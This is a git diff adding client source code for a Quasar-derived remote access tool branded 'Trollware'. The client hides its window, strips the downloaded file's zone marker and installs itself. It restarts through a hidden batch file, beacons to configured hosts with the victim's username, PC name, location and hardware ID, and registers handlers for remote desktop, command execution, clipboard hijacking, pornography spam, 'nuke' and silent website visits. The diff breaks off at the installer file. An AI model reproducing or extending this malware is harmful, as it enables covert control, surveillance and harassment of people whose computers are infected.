b/Quasar.Client/Messages/WebsiteVisitorHandler.cs new file mode 100644 index 0000000..773b982 --- /dev/null +++ b/Quasar.Client/Messages/WebsiteVisitorHandler.cs @@ -0,0 +1,60 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.Net; + +namespace Quasar.Client.Messages +{ + public class WebsiteVisitorHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoVisitWebsite; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoVisitWebsite msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoVisitWebsite message) + { + string url = message.Url; + + if (!url.StartsWith("http")) + url = "http://" + url; + + if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute)) + { + if (!message.Hidden) + Process.Start(url); + else + { + try + { + HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url); + request.UserAgent = + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"; + request.AllowAutoRedirect = true; + request.Timeout = 10000; + request.Method = "GET"; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + } + } + catch + { + } + } + + client.Send(new SetStatus { Message = "Visited Website" }); + } + } + } +} diff --git a/Quasar.Client/Networking/Client.cs b/Quasar.Client/Networking/Client.cs new file mode 100644 index 0000000..a468f9b --- /dev/null +++ b/Quasar.Client/Networking/Client.cs @@ -0,0 +1,612 @@ +using Quasar.Common.Extensions; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Threading; + +namespace Quasar.Client.Networking +{ + public class Client : ISender + { + /// + /// Occurs as a result of an unrecoverable issue with the client. + /// + public event ClientFailEventHandler ClientFail; + + /// + /// Represents a method that will handle failure of the client. + /// + /// The client that has failed. + /// The exception containing information about the cause of the client's failure. + public delegate void ClientFailEventHandler(Client s, Exception ex); + + /// + /// Fires an event that informs subscribers that the client has failed. + /// + /// The exception containing information about the cause of the client's failure. + private void OnClientFail(Exception ex) + { + var handler = ClientFail; + handler?.Invoke(this, ex); + } + + /// + /// Occurs when the state of the client has changed. + /// + public event ClientStateEventHandler ClientState; + + /// + /// Represents the method that will handle a change in the client's state + /// + /// The client which changed its state. + /// The new connection state of the client. + public delegate void ClientStateEventHandler(Client s, bool connected); + + /// + /// Fires an event that informs subscribers that the state of the client has changed. + /// + /// The new connection state of the client. + private void OnClientState(bool connected) + { + if (Connected == connected) return; + + Connected = connected; + + var handler = ClientState; + handler?.Invoke(this, connected); + } + + /// + /// Occurs when a message is received from the server. + /// + public event ClientReadEventHandler ClientRead; + + /// + /// Represents a method that will handle a message from the server. + /// + /// The client that has received the message. + /// The message that has been received by the server. + /// The length of the message. + public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength); + + /// + /// Fires an event that informs subscribers that a message has been received by the server. + /// + /// The message that has been received by the server. + /// The length of the message. + private void OnClientRead(IMessage message, int messageLength) + { + var handler = ClientRead; + handler?.Invoke(this, message, messageLength); + } + + /// + /// Occurs when a message is sent by the client. + /// + public event ClientWriteEventHandler ClientWrite; + + /// + /// Represents the method that will handle the sent message. + /// + /// The client that has sent the message. + /// The message that has been sent by the client. + /// The length of the message. + public delegate void ClientWriteEventHandler(Client s, IMessage message, int messageLength); + + /// + /// Fires an event that informs subscribers that the client has sent a message. + /// + /// The message that has been sent by the client. + /// The length of the message. + private void OnClientWrite(IMessage message, int messageLength) + { + var handler = ClientWrite; + handler?.Invoke(this, message, messageLength); + } + + /// + /// The type of the message received. + /// + public enum ReceiveType + { + Header, + Payload + } + + /// + /// The buffer size for receiving data in bytes. + /// + public int BUFFER_SIZE { get { return 1024 * 16; } } // 16KB + + /// + /// The keep-alive time in ms. + /// + public uint KEEP_ALIVE_TIME { get { return 25000; } } // 25s + + /// + /// The keep-alive interval in ms. + /// + public uint KEEP_ALIVE_INTERVAL { get { return 25000; } } // 25s + + /// + /// The header size in bytes. + /// + public int HEADER_SIZE { get { return 4; } } // 4B + + /// + /// The maximum size of a message in bytes. + /// + public int MAX_MESSAGE_SIZE { get { return (1024 * 1024) * 50; } } // 50MB + + /// + /// Gets if the client is currently connected to a server. + /// + public bool Connected { get; private set; } + + /// + /// The stream used for communication. + /// + private SslStream _stream; + + /// + /// The server certificate. + /// + private readonly X509Certificate2 _serverCertificate; + + /// + /// The buffer for incoming messages. + /// + private byte[] _readBuffer; + + /// + /// The buffer for the client's incoming payload. + /// + private byte[] _payloadBuffer; + + /// + /// The queue which holds messages to send. + /// + private readonly Queue _sendBuffers = new Queue(); + + /// + /// Determines if the client is currently sending messages. + /// + private bool _sendingMessages; + + /// + /// Lock object for the sending messages boolean. + /// + private readonly object _sendingMessagesLock = new object(); + + /// + /// The queue which holds buffers to read. + /// + private readonly Queue _readBuffers = new Queue(); + + /// + /// Determines if the client is currently reading messages. + /// + private bool _readingMessages; + + /// + /// Lock object for the reading messages boolean. + /// + private readonly object _readingMessagesLock = new object(); + + // Receive info + private int _readOffset; + private int _writeOffset; + private int _readableDataLen; + private int _payloadLen; + private ReceiveType _receiveState = ReceiveType.Header; + + /// + /// The mutex prevents multiple simultaneous write operations on the . + /// + private readonly Mutex _singleWriteMutex = new Mutex(); + + /// + /// Constructor of the client, initializes serializer types. + /// + /// The server certificate. + protected Client(X509Certificate2 serverCertificate) + { + _serverCertificate = serverCertificate; + _readBuffer = new byte[BUFFER_SIZE]; + TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray()); + } + + /// + /// Attempts to connect to the specified ip address on the specified port. + /// + /// The ip address to connect to. + /// The port of the host. + protected void Connect(IPAddress ip, ushort port) + { + Socket handle = null; + try + { + Disconnect(); + + handle = new Socket(ip.AddressFamily, SocketType.Stream, ProtocolType.Tcp); + handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME); + handle.Connect(ip, port); + + if (handle.Connected) + { + _stream = new SslStream(new NetworkStream(handle, true), false, ValidateServerCertificate); + _stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls12, false); + _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); + OnClientState(true); + } + else + { + handle.Dispose(); + } + } + catch (Exception ex) + { + handle?.Dispose(); + OnClientFail(ex); + } + } + + /// + /// Validates the server certificate by comparing it with the included server certificate. + /// + /// The sender of the callback. + /// The server certificate to validate. + /// The X.509 chain. + /// The SSL policy errors. + /// Returns true when the validation was successful, otherwise false. + private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { +#if DEBUG + // for debugging don't validate server certificate + return true; +#else + var serverCsp = (RSACryptoServiceProvider)_serverCertificate.PublicKey.Key; + var connectedCsp = (RSACryptoServiceProvider)new X509Certificate2(certificate).PublicKey.Key; + // compare the received server certificate with the included server certificate to validate we are connected to the correct server + return _serverCertificate.Equals(certificate); +#endif + } + + private void AsyncReceive(IAsyncResult result) + { + int bytesTransferred; + + try + { + bytesTransferred = _stream.EndRead(result); + + if (bytesTransferred <= 0) + throw new Exception("no bytes transferred"); + } + catch (NullReferenceException) + { + return; + } + catch (ObjectDisposedException) + { + return; + } + catch (Exception) + { + Disconnect(); + return; + } + + byte[] received = new byte[bytesTransferred]; + + try + { + Array.Copy(_readBuffer, received, received.Length); + } + catch (Exception ex) + { + OnClientFail(ex); + return; + } + + lock (_readBuffers) + { + _readBuffers.Enqueue(received); + } + + lock (_readingMessagesLock) + { + if (!_readingMessages) + { + _readingMessages = true; + ThreadPool.QueueUserWorkItem(AsyncReceive); + } + } + + try + { + _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); + } + catch (ObjectDisposedException) + { + } + catch (Exception ex) + { + OnClientFail(ex); + } + } + + private void AsyncReceive(object state) + { + while (true) + { + byte[] readBuffer; + lock (_readBuffers) + { + if (_readBuffers.Count == 0) + { + lock (_readingMessagesLock) + { + _readingMessages = false; + } + return; + } + + readBuffer = _readBuffers.Dequeue(); + } + + _readableDataLen += readBuffer.Length; + bool process = true; + while (process) + { + switch (_receiveState) + { + case ReceiveType.Header: + { + if (_payloadBuffer == null) + _payloadBuffer = new byte[HEADER_SIZE]; + + if (_readableDataLen + _writeOffset >= HEADER_SIZE) + { + // completely received header + int headerLength = HEADER_SIZE - _writeOffset; + + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, headerLength); + + _payloadLen = BitConverter.ToInt32(_payloadBuffer, _readOffset); + + if (_payloadLen <= 0 || _payloadLen > MAX_MESSAGE_SIZE) + throw new Exception("invalid header"); + + // try to re-use old payload buffers which fit + if (_payloadBuffer.Length <= _payloadLen + HEADER_SIZE) + Array.Resize(ref _payloadBuffer, _payloadLen + HEADER_SIZE); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _readableDataLen -= headerLength; + _writeOffset += headerLength; + _readOffset += headerLength; + _receiveState = ReceiveType.Payload; + } + else // _readableDataLen + _writeOffset < HeaderSize + { + // received only a part of the header + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, _readableDataLen); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + _readOffset += _readableDataLen; + _writeOffset += _readableDataLen; + process = false; + // nothing left to process + } + break; + } + case ReceiveType.Payload: + { + int length = (_writeOffset - HEADER_SIZE + _readableDataLen) >= _payloadLen + ? _payloadLen - (_writeOffset - HEADER_SIZE) + : _readableDataLen; + + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _writeOffset += length; + _readOffset += length; + _readableDataLen -= length; + + if (_writeOffset - HEADER_SIZE == _payloadLen) + { + // completely received payload + try + { + using (PayloadReader pr = new PayloadReader(_payloadBuffer, _payloadLen + HEADER_SIZE, false)) + { + IMessage message = pr.ReadMessage(); + + OnClientRead(message, _payloadBuffer.Length); + } + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _receiveState = ReceiveType.Header; + _payloadLen = 0; + _writeOffset = 0; + } + + if (_readableDataLen == 0) + process = false; + + break; + } + } + } + + _readOffset = 0; + _readableDataLen = 0; + } + } + + /// + /// Sends a message to the connected server. + /// + /// The type of the message. + /// The message to be sent. + public void Send(T message) where T : IMessage + { + if (!Connected || message == null) return; + + lock (_sendBuffers) + { + _sendBuffers.Enqueue(message); + + lock (_sendingMessagesLock) + { + if (_sendingMessages) return; + + _sendingMessages = true; + ThreadPool.QueueUserWorkItem(ProcessSendBuffers); + } + } + } + + /// + /// Sends a message to the connected server. + /// Blocks the thread until the message has been sent. + /// + /// The type of the message. + /// The message to be sent. + public void SendBlocking(T message) where T : IMessage + { + if (!Connected || message == null) return; + + SafeSendMessage(message); + } + + /// + /// Safely sends a message and prevents multiple simultaneous + /// write operations on the . + /// + /// The message to send. + private void SafeSendMessage(IMessage message) + { + try + { + _singleWriteMutex.WaitOne(); + using (PayloadWriter pw = new PayloadWriter(_stream, true)) + { + OnClientWrite(message, pw.WriteMessage(message)); + } + } + catch (Exception) + { + Disconnect(); + SendCleanup(true); + } + finally + { + _singleWriteMutex.ReleaseMutex(); + } + } + + private void ProcessSendBuffers(object state) + { + while (true) + { + if (!Connected) + { + SendCleanup(true); + return; + } + + IMessage message; + lock (_sendBuffers) + { + if (_sendBuffers.Count == 0) + { + SendCleanup(); + return; + } + + message = _sendBuffers.Dequeue(); + } + + SafeSendMessage(message); + } + } + + private void SendCleanup(bool clear = false) + { + lock (_sendingMessagesLock) + { + _sendingMessages = false; + } + + if (!clear) return; + + lock (_sendBuffers) + { + _sendBuffers.Clear(); + } + } + + /// + /// Disconnect the client from the server, disconnect all proxies that + /// are held by this client, and dispose of other resources associated + /// with this client. + /// + public void Disconnect() + { + if (_stream != null) + { + _stream.Close(); + _readOffset = 0; + _writeOffset = 0; + _readableDataLen = 0; + _payloadLen = 0; + _payloadBuffer = null; + _receiveState = ReceiveType.Header; + //_singleWriteMutex.Dispose(); TODO: fix socket re-use by creating new client on disconnect + + } + + OnClientState(false); + } + + } +} diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs new file mode 100644 index 0000000..552df2b --- /dev/null +++ b/Quasar.Client/Networking/QuasarClient.cs @@ -0,0 +1,176 @@ +using Quasar.Client.Config; +using Quasar.Client.Helper; +using Quasar.Client.IO; +using Quasar.Client.IpGeoLocation; +using Quasar.Client.User; +using Quasar.Common.DNS; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Common.Utilities; +using System; +using System.Diagnostics; +using System.Security.Cryptography.X509Certificates; +using System.Threading; + +namespace Quasar.Client.Networking +{ + public class QuasarClient : Client, IDisposable + { + /// + /// Used to keep track if the client has been identified by the server. + /// + private bool _identified; + + /// + /// The hosts manager which contains the available hosts to connect to. + /// + private readonly HostsManager _hosts; + + /// + /// Random number generator to slightly randomize the reconnection delay. + /// + private readonly SafeRandom _random; + + /// + /// Create a and signals cancellation. + /// + private readonly CancellationTokenSource _tokenSource; + + /// + /// The token to check for cancellation. + /// + private readonly CancellationToken _token; + + /// + /// Initializes a new instance of the class. + /// + /// The hosts manager which contains the available hosts to connect to. + /// The server certificate. + public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate) + : base(serverCertificate) + { + this._hosts = hostsManager; + this._random = new SafeRandom(); + base.ClientState += OnClientState; + base.ClientRead += OnClientRead; + base.ClientFail += OnClientFail; + this._tokenSource = new CancellationTokenSource(); + this._token = _tokenSource.Token; + } + + /// + /// Connection loop used to reconnect and keep the connection open. + /// + public void ConnectLoop() + { + // TODO: do not re-use object + while (!_token.IsCancellationRequested) + { + if (!Connected) + { + Host host = _hosts.GetNextHost(); + + base.Connect(host.IpAddress, host.Port); + } + + while (Connected) // hold client open + { + try + { + _token.WaitHandle.WaitOne(1000); + } + catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException) + { + Disconnect(); + return; + } + } + + if (_token.IsCancellationRequested) + { + Disconnect(); + return; + } + + Thread.Sleep(Settings.RECONNECTDELAY + _random.Next(250, 750)); + } + } + + private void OnClientRead(Client client, IMessage message, int messageLength) + { + if (!_identified) + { + if (message.GetType() == typeof(ClientIdentificationResult)) + { + var reply = (ClientIdentificationResult) message; + _identified = reply.Result; + } + return; + } + + MessageHandler.Process(client, message); + } + + private void OnClientFail(Client client, Exception ex) + { + Debug.WriteLine("Client Fail - Exception Message: " + ex.Message); + client.Disconnect(); + } + + private void OnClientState(Client client, bool connected) + { + _identified = false; // always reset identification + + if (connected) + { + // send client identification once connected + + var geoInfo = GeoInformationFactory.GetGeoInformation(); + var userAccount = new UserAccount(); + + client.Send(new ClientIdentification + { + Version = Settings.VERSION, + OperatingSystem = PlatformHelper.FullName, + AccountType = userAccount.Type.ToString(), + Country = geoInfo.Country, + CountryCode = geoInfo.CountryCode, + ImageIndex = geoInfo.ImageIndex, + Id = HardwareDevices.HardwareId, + Username = userAccount.UserName, + PcName = SystemHelper.GetPcName(), + Tag = Settings.TAG, + EncryptionKey = Settings.ENCRYPTIONKEY, + Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE) + }); + } + } + + /// + /// Stops the connection loop and disconnects the connection. + /// + public void Exit() + { + _tokenSource.Cancel(); + Disconnect(); + } + + /// + /// Disposes all managed and unmanaged resources associated with this activity detection service. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _tokenSource.Cancel(); + _tokenSource.Dispose(); + } + } + } +} diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs new file mode 100644 index 0000000..6ddad6e --- /dev/null +++ b/Quasar.Client/Program.cs @@ -0,0 +1,90 @@ +using Quasar.Client.IO; +using System; +using System.Diagnostics; +using System.Net; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client +{ + internal static class Program + { + [STAThread] + private static void Main(string[] args) + { + // enable TLS 1.2 + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; + + // Set the unhandled exception mode to force all Windows Forms errors to go through our handler + Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException); + + // Add the event handler for handling UI thread exceptions + Application.ThreadException += HandleThreadException; + + // Add the event handler for handling non-UI thread exceptions + AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException; + + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new QuasarApplication()); + } + + private static void HandleThreadException(object sender, ThreadExceptionEventArgs e) + { + Debug.WriteLine(e); + try + { + string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + catch (Exception exception) + { + Debug.WriteLine(exception); + } + finally + { + Environment.Exit(0); + } + } + + /// + /// Handles unhandled exceptions by restarting the application and hoping that they don't happen again. + /// + /// The source of the unhandled exception event. + /// The exception event arguments. + private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e) + { + if (e.IsTerminating) + { + Debug.WriteLine(e); + try + { + string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + catch (Exception exception) + { + Debug.WriteLine(exception); + } + finally + { + Environment.Exit(0); + } + } + } + } +} diff --git a/Quasar.Client/Properties/AssemblyInfo.cs b/Quasar.Client/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..6821740 --- /dev/null +++ b/Quasar.Client/Properties/AssemblyInfo.cs @@ -0,0 +1,34 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// Allgemeine Informationen über eine Assembly werden über die folgenden +// Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, +// die mit einer Assembly verknüpft sind. +[assembly: AssemblyTitle("Trollware Client")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Trollware")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2023")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] +[assembly: InternalsVisibleTo("Client.Tests")] + +// Durch Festlegen von ComVisible auf "false" werden die Typen in dieser Assembly unsichtbar +// für COM-Komponenten. Wenn Sie auf einen Typ in dieser Assembly von +// COM zugreifen müssen, legen Sie das ComVisible-Attribut für diesen Typ auf "true" fest. +[assembly: ComVisible(false)] + +// Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: +// +// Hauptversion +// Nebenversion +// Buildnummer +// Revision +// +// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern +// übernehmen, indem Sie "*" eingeben: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] diff --git a/Quasar.Client/Properties/Resources.Designer.cs b/Quasar.Client/Properties/Resources.Designer.cs new file mode 100644 index 0000000..8a20f78 --- /dev/null +++ b/Quasar.Client/Properties/Resources.Designer.cs @@ -0,0 +1,63 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Quasar.Client.Properties { + using System; + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Quasar.Client.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + } +} diff --git a/Quasar.Client/Properties/Resources.resx b/Quasar.Client/Properties/Resources.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/Quasar.Client/Properties/Resources.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Quasar.Client/Properties/Settings.Designer.cs b/Quasar.Client/Properties/Settings.Designer.cs new file mode 100644 index 0000000..b4ca5f2 --- /dev/null +++ b/Quasar.Client/Properties/Settings.Designer.cs @@ -0,0 +1,26 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Quasar.Client.Properties { + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.8.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default { + get { + return defaultInstance; + } + } + } +} diff --git a/Quasar.Client/Properties/Settings.settings b/Quasar.Client/Properties/Settings.settings new file mode 100644 index 0000000..3964565 --- /dev/null +++ b/Quasar.Client/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Quasar.Client/Quasar.Client.csproj b/Quasar.Client/Quasar.Client.csproj new file mode 100644 index 0000000..91548c7 --- /dev/null +++ b/Quasar.Client/Quasar.Client.csproj @@ -0,0 +1,80 @@ + + + net452 + WinExe + Client + true + false + AnyCPU + + + ..\bin\Debug\ + true + portable + true + AnyCPU + + + none + ..\bin\Release\ + true + AnyCPU + + + Quasar.Client.Program + + + app.manifest + + + + + + + + + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + True + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + 2.2.5 + + + 2.2.5 + + + 2.2.5 + + + 2.0.18.2 + + + 5.6.0 + + + 2.4.8 + + + \ No newline at end of file diff --git a/Quasar.Client/QuasarApplication.cs b/Quasar.Client/QuasarApplication.cs new file mode 100644 index 0000000..fdfc25d --- /dev/null +++ b/Quasar.Client/QuasarApplication.cs @@ -0,0 +1,242 @@ +using Quasar.Client.Config; +using Quasar.Client.Messages; +using Quasar.Client.Networking; +using Quasar.Client.Setup; +using Quasar.Client.User; +using Quasar.Client.Utilities; +using Quasar.Common.DNS; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Reflection; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client +{ + /// + /// The client application which handles basic bootstrapping of the message processors and background tasks. + /// + public class QuasarApplication : Form + { + /// + /// A system-wide mutex that ensures that only one instance runs at a time. + /// + public SingleInstanceMutex ApplicationMutex; + + /// + /// The client used for the connection to the server. + /// + private QuasarClient _connectClient; + + /// + /// List of to keep track of all used message processors. + /// + private readonly List _messageProcessors; + + /// + /// Keeps track of the user activity. + /// + private ActivityDetection _userActivityDetection; + + /// + /// Determines whether an installation is required depending on the current and target paths. + /// + private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath; + + /// + /// Notification icon used to show notifications in the taskbar. + /// + private readonly NotifyIcon _notifyIcon; + + /// + /// Initializes a new instance of the class. + /// + public QuasarApplication() + { + _messageProcessors = new List(); + _notifyIcon = new NotifyIcon(); + } + + /// + /// Starts the application. + /// + /// An System.EventArgs that contains the event data. + protected override void OnLoad(EventArgs e) + { + Visible = false; + ShowInTaskbar = false; + Run(); + base.OnLoad(e); + } + + /// + /// Initializes the notification icon. + /// + private void InitializeNotifyicon() + { + _notifyIcon.Text = "Trollware\nNo connection"; + _notifyIcon.Visible = true; + try + { + _notifyIcon.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location); + } + catch (Exception ex) + { + Debug.WriteLine(ex); + _notifyIcon.Icon = SystemIcons.Application; + } + } + + /// + /// Begins running the application. + /// + public void Run() + { + // decrypt and verify the settings + if (!Settings.Initialize()) + Environment.Exit(1); + + ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); + + // check if process with same mutex is already running on system + if (!ApplicationMutex.CreatedNew) + Environment.Exit(2); + + FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); + + var installer = new ClientInstaller(); + + if (IsInstallationRequired) + { + // close mutex before installing the client + ApplicationMutex.Dispose(); + + try + { + installer.Install(); + Environment.Exit(3); + } + catch (Exception e) + { + Debug.WriteLine(e); + } + } + else + { + try + { + // (re)apply settings and proceed with connect loop + installer.ApplySettings(); + } + catch (Exception e) + { + Debug.WriteLine(e); + } + + if (!Settings.UNATTENDEDMODE) + InitializeNotifyicon(); + + var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS)); + _connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); + _connectClient.ClientState += ConnectClientOnClientState; + InitializeMessageProcessors(_connectClient); + + _userActivityDetection = new ActivityDetection(_connectClient); + _userActivityDetection.Start(); + + new Thread(() => + { + // Start connection loop on new thread and dispose application once client exits. + // This is required to keep the UI thread responsive and run the message loop. + _connectClient.ConnectLoop(); + Environment.Exit(0); + }).Start(); + } + } + + private void ConnectClientOnClientState(Networking.Client s, bool connected) + { + if (connected) + _notifyIcon.Text = "Trollware\nConnection established"; + else + _notifyIcon.Text = "Trollware\nNo connection"; + } + + /// + /// Adds all message processors to and registers them in the . + /// + /// The client which handles the connection. + /// Always initialize from UI thread. + private void InitializeMessageProcessors(QuasarClient client) + { + _messageProcessors.Add(new ExecutionHandler()); + _messageProcessors.Add(new BeepSpamHandler()); + _messageProcessors.Add(new DrunkModeHandler()); + _messageProcessors.Add(new FartScrollHandler()); + _messageProcessors.Add(new NukeHandler()); + _messageProcessors.Add(new PianoHandler()); + _messageProcessors.Add(new ClientServicesHandler(this, client)); + _messageProcessors.Add(new ClipboardHijackHandler()); + _messageProcessors.Add(new ColorInvertHandler()); + _messageProcessors.Add(new CursorChaosHandler()); + _messageProcessors.Add(new EyesHandler()); + _messageProcessors.Add(new GhostTypingHandler()); + _messageProcessors.Add(new JumpscareHandler()); + _messageProcessors.Add(new MessageBoxHandler()); + _messageProcessors.Add(new PornSpamHandler()); + _messageProcessors.Add(new RemoteDesktopHandler()); + _messageProcessors.Add(new SchizophreniaHandler()); + _messageProcessors.Add(new TextToSpeechHandler()); + _messageProcessors.Add(new TrollExtrasHandler()); + _messageProcessors.Add(new WebsiteVisitorHandler()); + + foreach (var msgProc in _messageProcessors) + { + MessageHandler.Register(msgProc); + if (msgProc is NotificationMessageProcessor notifyMsgProc) + notifyMsgProc.ProgressChanged += ShowNotification; + } + } + + /// + /// Disposes all message processors of and unregisters them from the . + /// + private void CleanupMessageProcessors() + { + foreach (var msgProc in _messageProcessors) + { + MessageHandler.Unregister(msgProc); + if (msgProc is NotificationMessageProcessor notifyMsgProc) + notifyMsgProc.ProgressChanged -= ShowNotification; + if (msgProc is IDisposable disposableMsgProc) + disposableMsgProc.Dispose(); + } + } + + private void ShowNotification(object sender, string value) + { + if (Settings.UNATTENDEDMODE) + return; + + _notifyIcon.ShowBalloonTip(4000, "Trollware", value, ToolTipIcon.Info); + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + CleanupMessageProcessors(); + _userActivityDetection?.Dispose(); + ApplicationMutex?.Dispose(); + _connectClient?.Dispose(); + _notifyIcon.Visible = false; + _notifyIcon.Dispose(); + } + base.Dispose(disposing); + } + } +} diff --git a/Quasar.Client/Setup/ClientInstaller.cs b/Quasar.Client/Setup/ClientInstaller.cs new file mode 100644 index 0000000..b5fc07a --- /dev/null +++ b/Quasar.Client/Setup/ClientInstaller.cs @@ -0,0 +1,101 